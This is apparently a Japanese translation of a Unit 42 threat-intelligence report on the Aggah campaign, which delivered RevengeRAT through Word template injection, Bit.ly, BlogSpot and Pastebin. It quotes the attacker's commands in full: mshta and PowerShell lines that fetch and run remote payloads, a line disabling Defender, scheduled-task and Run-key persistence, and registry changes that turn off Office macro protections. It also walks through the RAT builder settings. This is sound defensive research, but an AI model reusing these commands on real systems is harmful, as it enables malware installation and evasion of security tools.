Aggahキャンペーン: 大規模キャンペーンでC2用に使用されたBit.ly、BlogSpot、およびPastebin

本ブログは米国で2019年04月17日に公開されたUnit 42ブログ「Aggah Campaign:Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale Campaign」の日本語翻訳です。


概要

2019年3月、Unit 42は、主に中東のある国の組織に的を絞っているようにみえた攻撃キャンペーンを調べ始めました。さらなる分析から、このアクティビティが、その地域だけでなく、米国と欧州およびアジアの全域にも影響を及ぼすさらに大規模なキャンペーンの一部である可能性が明らかになりました。

配信文書の分析から、それがテンプレート インジェクションを介してリモート サーバーから、悪意のあるマクロが有効化された文書をロードするように作成されていることがわかりました。これらのマクロは、BlogSpot投稿を使用してスクリプトを取得します。このスクリプトは複数のPastebin貼り付けを使用して追加のスクリプトをロードし、最終的には、最後のペイロードが、C2用のduckdns[.]orgドメインが設定されたRevengeRATとなります。弊社の調査において、最終的にPastebinでホストされているRevengeRATをインストールするための同じプロセスに従っている複数の関連する配信文書が見つかりました。これは、攻撃者が攻撃キャンペーン全体を通じてこれらのTTPを使用したことを示唆しています。

当初、このアクティビティはGorgon Groupと関連している可能性があると弊社は考えました。弊社の仮説は、RevengeRATの使用を含む高度なTTPに基づいていました。ただし、Unit 42ではまだ、Gorgon Groupと関連することを色濃く示すその他の指標との直接的な一致を特定していません。このため、適度な確実性で、このアクティビティをGorgon Groupに帰属させることはできません。

それを考慮して、Unit 42は、攻撃者の別名"hagga"に基づいて、このブログで説明するアクティビティをAggahキャンペーンと呼んでいます。"hagga"は、RevengeRAT C2サーバーへ送信されるデータを分割するために使用され、RevengeRATのペイロードをホストするために使用されたPastebinアカウントの1つの名前です。


配信

Aggahキャンペーンに関する弊社の調査は、2019年3月27日に電子メールを介して、中東のある国の組織に送信された配信文書から開始されました。この電子メールは、恐らくなりすましですが、同じ国内の大手金融機関を発信元に見せかけていました。電子メールの件名は、"お客様の口座がロックされています(Your account is locked.)"というものです。この最初の配信文書は、中東のある国の組織、特に、教育、メディア/マーケティング、および政府関連の垂直市場の組織に送信されました。4日後の3月31日、同じ配信電子メールが中東の2番目の国で金融組織に送信されたことがわかりました。その後、この配信文書は、テクノロジー、小売、製造、州/地方自治体、病院、医療、その他の専門的ビジネスなどの同様の垂直市場を標的として、米国、欧州、およびアジア内の組織に送信された、より大規模なキャンペーンの多数の中の1つにすぎないことが判明しました。関連する文書は機能上同様であるため、分析した元のサンプルについて説明します。


3月27日に送信された電子メールには、ファイル名が"Activity.doc" (SHA256: d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946) というWord文書が添付されており、これがテンプレート インジェクションを介したリモートOLE文書のロードを行おうとしていました。"Activity.doc"を開くと、マクロを実行可能にするために、ユーザーがコンテンツを有効化するように仕向けるルアーとして、図1の画像が表示されます。Office 365のオンライン版のWordではマクロが機能しないため、ルアーは、デスクトップ版のMicrosoft Wordで文書を開く必要があることをユーザーに示唆します。"Activity.doc"ファイルにはマクロは含まれていませんが、そのファイルがリモート サーバーからロードするOLE文書にマクロが含まれています。
 


図1.ユーザーがマクロを有効化するように仕向けるためにActivity.docで使用されたルアーの画像


Activity.docの分析

配信文書は、テンプレート インジェクションを使用して、リモート サーバーでホストされているファイルをロードします。図2は、配信文書のフッターのコンテンツを示しています。これが、hxxps://static.wixstatic[.]com/ugd/05e470_b104c366c1f7423293887062c7354db2.docからのリモートOLE文書のロードを行おうとします。


図2.リモートOLEの位置を示すActivity.docのフッター
 

Activity.docファイルのフッター内でロードされたリモートOLEファイルは、実際にはRTFファイル(SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f)であり、かなりの量の「ジャンク」コードを含む、極めて難読化された、埋め込みのExcel文書をロードします。このマクロの目的は、"Shell"コマンドを介して次のURLをデコードし実行することです。

mshta hxxp://www.bitly[.]com/SmexEaldos3

上記のコマンドは、組み込まれた"mshta"アプリケーションを使用して、提供されたURL、この場合はBit.lyサービスを使用して短縮されたURLのコンテンツをダウンロードします。WildFireの分析中、この短縮されたbit.ly URLは、図3のHTTP応答の"Location"フィールドに見られるように、hxxps://bjm9.blogspot[.]com/p/si.htmlへリダイレクトされました。


図3.Blogspotでホストされたブログを指し示すBit.ly短縮リンク
 

上記のGETリクエストでわかるとおり、リダイレクトによってブラウザ(この場合、"mshta.exe")は、blogspot[.]comでホストされているブログを指しています。図4からわかるとおり、このBlogSpot記事は少し奇妙に見えますが、必ずしも悪意があるわけではありません。


図4. Bjm9.blogspot[.]comの画面キャプチャ
 

ブログでホストされたコードを分析することで、それに埋め込まれた、いくつかのアクティビティを実行するJavaScriptが実際に含まれていることを発見しました。図5は、一見したところ無害に見えるブログでホストされている、悪意のあるJavaScriptを示しています。


図5.bjm9 Blogspot記事に埋め込まれたスクリプト
 

この悪意のあるスクリプトは、侵害したシステム上でいくつかのアクティビティを実行します。最初に、設定されているシグネチャを削除して、Microsoft Defenderを妨害しようとします。また、このスクリプトは、いくつかのOfficeアプリケーションのプロセスとともに、Defenderのプロセスも停止します。これらはすべて、以下のコマンドラインを使用して実行されます。

cmd.exe /c cd ""%ProgramFiles%\Windows Defender"" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & forfiles /c ""taskkill /f /im MSASCuiL.exe"" & forfiles /c ""taskkill /f /im MpCmdRun.exe"" & exit

次に、スクリプトは、マクロを有効にし、ProtectedViewを無効にするためのレジストリ キーを設定することで、Office製品内のセキュリティ メカニズムを無効化しようとします。まず、スクリプトは、以下のレジストリ キーの値を"1"に設定して、Word、PowerPointおよびExcelでマクロを有効化します。

HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings

HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings

HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings

次に、スクリプトは、以下のレジストリ キーの値を"1"に設定して、Word、PowerPointおよびExcel内のProtectedViewセキュリティ メカニズムを無効化しようとします。

HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV

HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV

HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV

HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV

レジストリ キーを変更する命令を含め、マクロを有効にし、Office内のProtectedViewを無効にする手法については、弊社のGorgon Groupを取り上げたブログでも説明されています。また、Windows DefenderとMicrosoft Officeアプリケーションのプロセスを停止する策略は、同様にGorgonによっても行われています。Gorgon Groupもまた、その攻撃の中でbitly URL短縮サービスを使用しています。これらは明らかに手法として重なりますが、弊社ではまだ、この攻撃キャンペーンがGorgonに関連するという具体的な証拠を見つけていません。

Blogspotでホストされているスクリプトは、その後、以下を含む3つの主要なアクティビティを実行します。

  1. Pastebin URLからのぺイロードのダウンロード
  2. Pastebin URLから定期的にスクリプトを取得して実行するためのスケジュールされたタスクの作成
  3. Pastebin URLからスクリプトを取得して実行するための自動実行レジストリ キーの作成

Pastebinからのペイロードの取得

Blogspotでホストされているスクリプトは、Pastebin URLからPortable Executableのペイロードを取得し、それを実行します。このスクリプトは、次のコマンドを作成し、WScript.Shellオブジェクトを使用して、それを実行しようとします。

mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""powershell.exe -noexit -command [Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString(\'h\'+\'t\'+\'t\'+\'p\'+\'s:\'+\'//p\'+\'a\'+\'s\'+\'t\'+\'e\'+\'b\'+\'i\'+\'n\'+\'.\'+\'c\'+\'o\'+\'m\'+\'/\'+\'r\'+\'a\'+\'w\'+\'/\'+\'2LDaeHE1\'))).EntryPoint.Invoke($N,$N)"",0,true)(window.close)

上記のコマンドは、https://pastebin[.]com/raw/2LDaeHE1でPastebin上でホストされているPortable Executableファイルをダウンロードし、そのURLからダウンロードしたbase64をデコードして、それを実行します。図6は、スクリプトによってダウンロードされた実行可能ファイルをホストしているPastebinページを示しています。


図6.2LDaeHE1 Pastebinページ


デコードされたペイロードは、以下の属性を備えています。

SHA256 b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde110 13a60f6b5
コンパイル時刻 2019-03-20 19:43:08

表2.pastebin[.]com/raw/2LDaeHE1からのデコードされたペイロード


このペイロードはVB.NETで記述され、"Nuclear Explosion"という名前が付けられていました。これは、図7に示すとおり、C2用のドメイン"lulla.duckdns[.]org"を使用するように設定されたRevengeRATの亜種です。
 


図7.RevengeRATの設定


図8に見られる設定によると、C2サーバーへのデータの送信時に、文字列"hagga"を使用して情報を分割しています。これは、図6に見られるペイロード情報をホストしているPasteBinアカウントと同じ名前であり、Aggahキャンペーンの名はこれに因んでいます。


図8.C2サーバーへ送信される情報を分割するために使用される文字列"hagga"を示す設定


スケジュールされたタスクの作成

Blogspotブログでホストされているスクリプトは別のコマンドを組み立て、100分ごとに実行する、"eScan Backup"と呼ばれるスケジュールされたタスクを作成します。このスケジュールされたタスクを作成するために使用されたスクリプトによって生成されるコマンド文字列は、次のとおりです。

schtasks /create /sc MINUTE /mo 100 /tn eScan Backup /tr ""mshta vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe https://pastebin[.]com/raw/tb5gHu2G"",0,true)(window.close)"" /F '

"eScan Backup"タスクは、組み込みのmshtaアプリケーションを使用して、Pastebin URL、具体的には、hxxps://pastebin[.]com/raw/tb5gHu2Gからスクリプトをダウンロードします。弊社ではこれを引き続きtb5gHu2Gスクリプトと呼びます。弊社では、攻撃者は、eScanアンチウイルス製品に関連していると見せかけるために"eScan Backup"という名前を選択したものと考えています。図9は、Windowsのタスク スケジューラ プログラム内のスケジュールされたタスクを示しています。
 


図9.Pastebin URLに到達し、100分ごとにホストされたスクリプトを実行するために作成されるスケジュールされたタスク


tb5gHu2Gスクリプトをダウンロードして実行するスケジュールされたタスクは永続性を目的としたものです。Windows Defenderを妨害し、Officeアプリケーションを停止するために同じコマンドを実行するからです。また、tb5gHu2Gスクリプトは、Blogspotブログでホストされているスクリプトと同じVBScriptを実行しようとします。これは、図6で示した"2LDaeHE1" Pastebinページからペイロードをダウンロードして実行します。図10は、tb5gHu2GスクリプトをホストしているPastebinページを示しています。


図10. tb5gHu2G Pastebinページ


自動実行レジストリ キーの作成

Blogspotブログでホストされているスクリプトは自動実行レジストリ キーを作成します。これは、前述のスケジュールされたタスクを補完する第2の永続性メカニズムのようです。自動実行キーを作成するため、スクリプトは以下のコマンドを生成し、それを実行しようとします。

CreateObject("Wscript.Shell").regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate", "C:\Windows\System32\mshta.exe vbscript:CreateObject(""Wscript.Shell"").Run(""mshta.exe%20http://pastebin[.]com/raw/YYZq1XR0″",0,true)(window.close)" , "REG_EXPAND_SZ"

この実行キーは、さらに別のPastebin URLのhttp://pastebin[.]com/raw/YYZq1XR0でホストされているコンテンツのダウンロードを試み、

Wscript.Shellオブジェクトを使用して、スクリプトとしてそのコンテンツを実行します。図11は、スクリプトのコンテンツを表示しているPastebinページを示しています。


図11.YYZq1XR0 Pastebinページ
 

YYZq1XR0 Pastebin貼り付けには、ほとんど役に立たない以下のスクリプトが含まれます。

<script language="VBScript">

self.close

</script>

上記のスクリプトがほとんど役に立たないという事実は、攻撃者が必要なときに追加の機能を含む新たなスクリプトで、この貼り付けを更新する可能性があることを示唆しています。貼り付けが"Pro"アカウントを使用して作成されている場合は、貼り付けの編集ができます。これらの貼り付けはHAGGAという名前のアカウントによって作成されています。このアカウントは、攻撃者が感染したシステム上で実行するスクリプトを更新できるようにするためのPROアカウントであるようです。HAGGAには、以下の図12に示すとおり、いくつかの追加の貼り付けがあります。これらの貼り付けには、最終的にペイロードを作成するために使用される追加の悪意のあるスクリプトが含まれています。


図12.HaggaのPastebinページ
 

より大規模なキャンペーンの一部?

この特定のキャンペーンの調査中に、Bit.lyで確認可能なクリック数を調べました。2019年4月11日現在、上記の分析で参照したBit.lyリンク、SmexEaldos3には、北米、欧州、アジアおよび中東の全域にわたり、約20か国で1,900回を超えるクリックが含まれていました。この大量のクリック数から、弊社は、自分たちが実際のキャンペーンの極めて小さな部分のみを見ている可能性があることに気付きました。また、これらのクリック数には、調査や追及の取り組みにおける短縮リンクへの個人によるアクセスが含まれている可能性も非常に高いため、この数字は感染したホスト数を正確には表していません。

図13. bitly SmexEaldos3ページのクリック数
 

もう少し堀下げて、文書のプロパティを調べ、関連するアクティビティの特定に役立てるためにどの追加情報を使用できるかを確認しました。文書のプロパティは、これらのオペレータが海賊版とみられるMicrosoft Wordを用い、文書の作成者として文字列'Lulli moti myri'を使用していたことを示しています。この文字列を使用して、弊社のリポジトリを検索し、12のMicrosoft Office文書を特定しました。それらの半分はDOCXで、残りの半分はXLSでした。

すべての文書のタイムスタンプが2019年1月から4月までで、それぞれに、BlogspotページへリダイレクトされるBit.ly URLが含まれていました。これらの文書はすべて弊社にとって興味深いものでしたが、弊社は、元ファイルのActivity.docと同じBit.ly URLが設定された1つの文書に気付きました。このファイルには以下のSHA256が含まれています。

SHA256 ef837119fc241e8fde85f36f4635a71f6b87aecf39dc979961be914 f48c4ef4c

表3.Activity.docと同様に設定された文書


弊社での分析中に、いくつかのBit.ly URLと、それらのリダイレクトの結果がRevengeRATのダウンロードであることを特定しました。ある特定のサンプルには、C2ドメインkronozzz2.duckdns[.]orgが含まれています。このサンプルには、以下のSHA256が含まれています。

SHA256 c365b15cb567da7e9c04dffa0de1cb2b8104d5fe668c17691d8c683 80bcd6d30

表4.pastebin[.]com/raw/sgawvit9からのデコードされたペイロード

HAGGAの貼り付けの1つには、タイトル'kronoz2 back2new'が含まれています。このドメインは、図12に示すHAGGA Pastebinアカウントとの別の関係が存在する可能性を示していました。オープン ソースの調査から、類似するドメインkronoz.duckdns[.]orgが、以下のハッシュでRevengeRATサンプルに関連付けられていることが明らかになりました。

SHA256 fa5500a45e98e084b489301fd109676a4d8b0d3b39df4d9e2288569 e232a9401

表5.kronoz.duckdns[.]orgに関連付けられたファイル

すべての特定されたサンプルは、付録Aに記載されています。

すべての配信文書とRevengeRATペイロードを調べてみると、1つのペイロードを除くすべてにミューテックスRV_MUTEX-WindowsUpdateSysten32 (攻撃者によって"System32"を"Systen32"と意図的にスペルミスされている点に注意)と、HOTEIS NOVOS (ポルトガル語で"NEW HOTELS")にデコードされるbase64エンコードされたID SE9URUlTIE5PVk9Tが含まれていることを発見しました。弊社の使用可能なリポジトリを検索して、これらの文字列を含むサンプル数を確認しました。早くは2018年9月を皮切りに50を超えるファイルが見つかりました。それらは、付録Aに記載されています。これらのサンプルの多くに、同じ'hagga'キーが含まれていましたが、それ以外にも3つの追加的なキーにも気付きました。'oldman'、'steve'、'roma225'です。'roma225'キーについては、2018年12月のYoroiによる「The Enigmatic "Roma225" Campaign」というタイトルの発行物で説明されています。ミューテックスとIDが設定されていない1つのサンプルは、表5に記載したサンプルでした。そのサンプルには、ミューテックスRV_MUTEX-cuiGGjjtnxDpnFと、'Milegona'にデコードされるID TWlsZWdvbmE=が含まれています。
 

RevengeRATサンプルの相関付け

RevengeRATは、オープン ソースで無料で入手可能なビルダーが多数漏出している商用トロイの木馬で、ツールの使用を特定の攻撃者または攻撃キャンペーンに帰属させることを困難にしています。このため、Aggah関連のサンプルで見られるミューテックス、ID、およびキーが、RevengeRATの標準のデフォルト値ではないのかどうか、またピボットや相関付けを目的に使用するための十分な強度がそれらにあるのかどうかを判別しようとしました。2人の無関係な攻撃者が設定で同じ値を使用する可能性を測定するために、漏出したRevengeRATビルダー(v0.3)を使用して、攻撃者が、Aggahキャンペーンで配信されたペイロードと同じミューテックス、ID、キーを共有するRevengeRATサンプルを作成するためにたどる必要のあるプロセスを視覚化しました。

驚いたことに、2人の無関係な個人が単なる偶然で、そのミューテックス、ID、およびキーを使用する可能性は予想以上に低いことがわかりました。これは、攻撃者が、ミューテックス、ID、およびキーを、RevengeRATビルダー内の特定のフィールドに手作業で入力する必要があるためだと考えます。これらのフィールドは、トロイの木馬を作成するために必要な手順の以下の説明の中で取り上げています。

このキャンペーンで使用されたRevengeRATペイロードを作成するために、攻撃者はRevengeRATサーバーを使用して、適切にフィールドが設定された実行可能ファイルをコンパイルします。初めに、攻撃者は、図14に示すとおり、「Socket Key(ソケット キー)」フィールドを"hagga"に設定し、「Start Listening(リスニングの開始)」をクリックします。


図14.RevengeRATビルダーでの「Socket Key(ソケット キー)」の設定
 

サーバーが設定されリスニングを開始すると、図15に示すとおり、攻撃者は「Client Builder(クライアント ビルダー)」ボタンをクリックして、RevengeRATクライアントを作成します。


図15.RevengeRATクライアント ビルダー
 

クライアント ビルダーで、図16に示すとおり、攻撃者は「Network Settings(ネットワーク設定)」ドロップダウンをクリックして、ドメイン"lulla.duckdns[.]org"とTCPポート2336を入力してから、追加ボタンをクリックします。


図16.RevengeRATの「Network Settings(ネットワーク設定)」の設定
 

その後、攻撃者は「Basic Settings(基本設定)」ドロップダウンで、選択したID "HOTEIS NOVOS"を「Client Identifier(クライアントID)」フィールドに入力し、"-WindowsUpdateSysten32"を「Client Mutex(クライアント ミューテックス)」フィールドに追加します(デフォルトですでに"RV_MUTEX"が入っているため)。図17は、正しいフィールドに追加されたこれらの値を示しています。ここで特に興味深い点は、攻撃者が、このフィールドの隣にあるプラス("+")ボタンをクリックしてハイフンとランダムな文字列を連結するのではなく、文字列"-WindowsUpdateSysten32"を手作業で入力していることです。


図17.RevengeRATの「Basic Settings(基本設定)」のセットアップ
 

最後に、ペイロードをコンパイルするために、攻撃者は図18に示すとおり、サービス利用規約に同意し、「Compile(コンパイル)」ボタンをクリックする必要があります。


図18.RevengeRATでのコンパイルの開始
 

「Compile(コンパイル)」ボタンをクリックすると、RevengeRATサーバーが"Client.exe"というデフォルト名のクライアント実行可能ファイルを作成します。攻撃者は、その攻撃で配信する前に、それをシステムに保存できます。図19は、デスクトップ上のRevengeRATクライアント アイコンを示しています。


図19.RevengeRATクライアント アイコン
 

図16と図17に見られるコンパイルされた"Client.exe"内の設定は、図7と図8で示したとおり、AggahキャンペーンでPastebinからダウンロードされたRevengeRATの設定と視覚的に一致します。これは、このキャンペーンに関与した攻撃者が、それらのペイロードを作成するために同様の手順に従ったことを示唆しています。同じクライアントIDとソケット キーを共有するRevengeRATペイロードを作成するために実行された一連の手順は、高い確率で、共通の攻撃者が関与したことを示しています。


結論

当初、弊社のテレメトリによると、これは中東のある国の組織にかなり的を絞っているように思われました。しかしながら、さらに分析した結果、これは、米国、欧州、アジアを含め、それらに限定されず、多くの地域に影響を及ぼすような、より大規模なキャンペーンのごく小さな部分であると考えられました。残念ながら、弊社の現在のデータ セットでは、多数の被害端末に侵害する以外の攻撃者の動機に対する洞察は得られていません。

このアクティビティの多くは行動的に見て、Gorgon Groupの犯罪活動に潜在的に関連しているようにみえますが、現在のところ明確にはなっておらず、証明するにはさらに分析する必要があります。Unit 42Yoroiは双方とも、最近、類似のブログを公開しました。どちらも類似した策略を示していますが、Gorgon Groupとの関連については信頼度の高い評価はされていません。Gorgon Groupとの明確なつながりは定かではありませんが、弊社では、共通のオペレータがこのブログで説明したアクティビティに関与した可能性を示す、これらのRevengeRATサンプルの独自の設定に基づいてそれを評価しています。

RevengeRATは、大量に見られる公開されているRATです。このRATの一部のユーザーは、公開されている段階的なガイドに従うことから、PastebinなどのC2サポート用の代替の格納先を活用する方法において多少精巧化する方向に移行しているようです。これらの手法の変化は、セキュリティ デバイスによりブロックされにくい正規のサービスの背後に隠れることで、オペレータには役立つかもしれません。

パロアルトネットワークスのお客様は、これらのオペレータから以下に示す方法で保護されています。

  • AutoFocus: お客様は、現在、以下のタグを使用して、このキャンペーン活動を追跡できます。AggahRevengeRAT
  • WildFireおよびTraps: このレポートで悪意のあるものとして特定されたすべてのマルウェアを検出します

パロアルトネットワークスは、ファイルのサンプルとIOCを含め、同志のサイバー脅威アライアンス(CTA)メンバーとの間で、弊社の所見をこのレポートで共有します。CTAのメンバーは、自身のお客様に対する保護を迅速に導入し、悪意のあるサイバー攻撃者を組織的に阻止するためにこの情報を使用します。サイバー脅威アライアンスの詳細については、www.cyberthreatalliance.orgをご覧ください。


付録A:

IOC

悪意のある文書とペイロード

6101f3210638a6068a9d40077f958e8d8a99ffed686a48426784f368e0ac021b

89d302cfe11c5fdca420d12cc36d58b449f24ee761b822cb8a22497af7e873ba

248456219c1be39f494301a16cae0a4ed9676be8d1155fa8ba5540d223797e97

82e64d2233cd8e755fecfefbd976f6143138f9b33e037f24a25b05fe9abd5620

1eef9ef568703ba6558923ec88cf960ed86086d87488a188709d32827877f528

9b47e150a9259ae7a6df20f070dc9faf9d5a589347f8db8a9f64c64060cb7606

679f1d59116af145f4f7c1a4d1cdb66e4402b0da906a491e09071e8eac696a16

fa5500a45e98e084b489301fd109676a4d8b0d3b39df4d9e2288569e232a9401

98136bc4323e00f64b63d1035c313bc08fb56af7894ac050b8e9db6961593eef

c365b15cb567da7e9c04dffa0de1cb2b8104d5fe668c17691d8c68380bcd6d30

b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde11013a60f6b5

ec8ff76234aca351169e7cf4973b8b5d603fa165815107482cbd0d803a829e81

aaabc63bd58fa4b8e2cb79630ea5e24c55f29327cae8ca36aae3219b95100669

c87fb09929159c2dab63d609d7bde992ce979f3545fbe20ddca0a3f263d9603f

abba33bdc8cf21423202b000771ec10d8ab7248f199d8211e53be03c9905b0ed

a4c1a9d4a6be9290a58b282f6b7dc75ebd4d4e3866df4fdab80eac56274aabf1

947ddcefbb1170a6fbd1ba341c773444c1833bedecdb4d6684e05b8555765117

6fe3548e0dc7fb605ee69791b752df0d9f3d8f5db49b2811011ac2a092ab0a28

6def95b2858c043e261b8f4d440abc1436a9dc551906d86a37c5f3331af8cbfc

eacad199f02e26ccdc7a866c18e585f7ee7e2a80ef0325208ddb22b1d059be2f

d2a16840541f905f7bcecf64e2d7dc827f314c4b97daf6e4cc4262fd91fdd14c

61600526307ec08137967b49b230c03ce8a4e1d2f0d58ea2e5d8b2ab3bf92df7

8e6c25f517a69c5da329f858b291b4d146c3fd0dd07c17a1d8a6851cddb347eb

7acd5696306ae7ed8de112f096917487df2d01c2aa66b4b9d2a37ea36b597b1a

2815552fd2f57eba147715331f96387dcb4769d3af816e9db2195e5602fc3a1a

251e3e25584d1a654a395accbcfdb506ec8b9d7039cb3ab725e14415d3c71aad

f5e170571689b393139b9cea484a9683305129ecbf2ab4ebb93fc997ee1d31aa

77a1430cfd728daa7a61e10f3cdc3409104cae1aed65711c8f5ce425c6920cb7

9c8fa4205b2ed8a6f60156bdc39d33a23c6e503cf2f8e69d66bf2980e78bacef

c57ff49bfe21e345c2bde30bc8feb60626f3c7839b1c2e5a1f01b9a567f911d8

8e771cbb12b259d4d12feac34c80e95eb38228dea393d49e0b9cc6f19861847c

abcce639df67279c73f327b2c511183c00ca96555fe481a4ae417bf752c96efa

83d9c57cfc40457b072bdc0e062dd5ca4958a91d8cf3387dbedd99af753da640

5976fca040071eb33ca383412b915e5160133c4e0f8a07bbbaa478ceeee0a890

a5c3c96b655d3115a39875e0303951fef2f2d6119b0af9eaadf57bacfae3f5cb

10d4bd37cd29071186b4ef31341edb79a9ae05c6bc8d26c9850cfeccabb90d1f

89903b38efc7a86da63d547d3d4e3439d64656a030cb289eff4721bc5ada3e13

464f30101630f06013ea65e72b0c043fa1fc83440d9c3367e474d6309d3fe4c9

5e226f1c0729d1fbcf6e074e28009d35e2f6eaa4d4eb0c411892ea56e1299c86

f57fff1b8acdee475b161ec1313452f0fe66077142fc677a63f7914a96890bae

a1879f1f3c2bbb1a4cf8af8e54230c3b0b88c29e37902c88d37ec9d7a1138894

3fa2591b208137d68aa87da931d9cc152a62250b7d26755818f362fa5015a99a

87f43fd2f6c9d1439ceb250e3bd045a07d9a8c214cf17dc66a8c22a3846b6437

4e2997adac5ae57ab92512e5b02e9a5ceb588f287a68387420113ed7b3d347d2

d32f1bd358b97f8f1ae2295c7e8969fab1460d9d54c9528dcfbb42c96a74b31b

f69fff5106fc73672569abc62ad85cfa461c237d9222426db20d6565021c110f

5742ebd53b2b495df0c6bff8ddc17d1726cb8e76e269bd8207b07a0a3ee2b813

d2a2373a386392f72372c9a23b42b43fd2652b6dafce6a6d8d44368ccbfdadb6

b9f74a648b0202109d2c53d68a8474d6eabfefba28bf99a53517ece52da483d5

3088fcd46c51e7ace8aee4e9bfb018aa1d0b0a52fbea62e5ef121e4fe637ebfc

54cba5cfb44379f8a4aac2e1d93d7e8e2ba83afe312d2b1a4f9145846efcd413

